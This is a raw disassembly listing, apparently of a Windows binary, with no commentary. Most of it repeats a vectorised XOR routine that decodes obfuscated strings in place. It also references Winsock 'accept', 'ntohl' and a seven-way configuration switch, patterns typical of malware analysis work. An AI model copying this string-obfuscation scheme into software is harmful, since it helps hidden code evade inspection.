pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c73b0
cmp r8d, 0x11
jge 0x1400c74f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400c74c0
lea rdx, [0x140196fd8]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x970]
lea rcx, [rbp - 0x52]
call fcn.1400ce650
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c7670
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7634
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c7640
lea rdx, [0x140196fe4]
mov rcx, r10
call fcn.140051f50
lea rdx, [rbp + 0x7b1]
lea rcx, [rbp - 0x51]
call fcn.1400ce670
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400c76c4
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor byte [rax + 6], 0x3a
xor byte [rax + 7], 0x3b
xor byte [rax + 8], 0x3c
xor byte [rax + 9], 0x3d
xor cl, 0x3e
mov byte [rax + 0xa], cl
lea rdx, [0x140196fc2]
mov rcx, rax
call fcn.140051f50
lea rdx, [rbp]
lea rcx, [rbp - 0x50]
call fcn.1400ce6a0
mov r10, rax
cmp byte [rax + 0x11], r15b
je 0x1400c7880
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7847
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400c7740
cmp r8d, 0x12
jge 0x1400c7880
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400c7850
lea rdx, [0x140196fbf]
mov rcx, r10
call fcn.140051f50
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 6
jne 0x1400c8eb0
call fcn.140053350
call fcn.140053350
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp - 0x4f]
call fcn.1400ce6c0
mov r10, rax
cmp byte [rax + 0xd], r15b
je 0x1400c7a20
mov r8d, r15d
cmp r12d, 2
jl 0x1400c79dd
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400c79f0
mov rcx, r10
call fcn.14004ff70
call fcn.140053b90
lea rdx, [rbp + 0x97c]
lea rcx, [rbp - 0x4e]
call fcn.1400ce6f0
mov r10, rax
cmp byte [rax + 0xb], r15b
je 0x1400c7ba0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7b62
movdqa xmm4, xmmword [0x14016c610]
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x14016c130]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
mov eax, dword [0x14016c1e0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x14016c150]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14016c160]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
mov r9d, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400c7b70
mov dword [rsp + 0x20], ntohl
mov r9d, 0xa
lea r8, [0x1401975f0]
lea rdx, [0x140196ef4]
mov rcx, r10
call fcn.140054870
lea rcx, [rbp + 0xe8]
call fcn.14006f150
nop
mov eax, dword [0x140196ef4]
test eax, eax
jne 0x1400c7d95
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x4d]
call fcn.1400ce710
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c7d80
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7d47
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c7c40
cmp r8d, 0x2b
jge 0x1400c7d80
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c7d50
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 1
jne 0x1400c7f55
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x4c]
call fcn.1400ce750
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c7f40
mov r8d, r15d
cmp r12d, 2
jl 0x1400c7f07
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c7e00
cmp r8d, 0x2b
jge 0x1400c7f40
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c7f10
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 2
jne 0x1400c8115
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x4b]
call fcn.1400ce790
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c8100
mov r8d, r15d
cmp r12d, 2
jl 0x1400c80c7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c7fc0
cmp r8d, 0x2b
jge 0x1400c8100
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c80d0
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 3
jne 0x1400c82d5
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x4a]
call fcn.1400ce7d0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c82c0
mov r8d, r15d
cmp r12d, 2
jl 0x1400c8287
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c8180
cmp r8d, 0x2b
jge 0x1400c82c0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c8290
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 4
jne 0x1400c8495
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x49]
call fcn.1400ce810
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c8480
mov r8d, r15d
cmp r12d, 2
jl 0x1400c8447
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c8340
cmp r8d, 0x2b
jge 0x1400c8480
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c8450
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 5
jne 0x1400c8655
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x48]
call fcn.1400ce850
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c8640
mov r8d, r15d
cmp r12d, 2
jl 0x1400c8607
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14016c1c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400c8500
cmp r8d, 0x2b
jge 0x1400c8640
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400c8610
mov rdx, r10
lea rcx, [rbp + 0xe8]
call fcn.14006f780
mov eax, dword [0x140196ef4]
cmp eax, 6
jne 0x1400c8815
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x47]
call fcn.1400ce890
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x1400c8800
mov r8d, r15d
cmp r12d, 2
jl 0x1400c87c7
movdqa xmm5, xmmword [0x14016c130]
movdqa xmm4, xmmword [0x14016c610]
movd xmm6, esi
movdqa xmm7, xmmword [0x14016c160]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x14016c1e0]
movdqa xmmword [rbp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
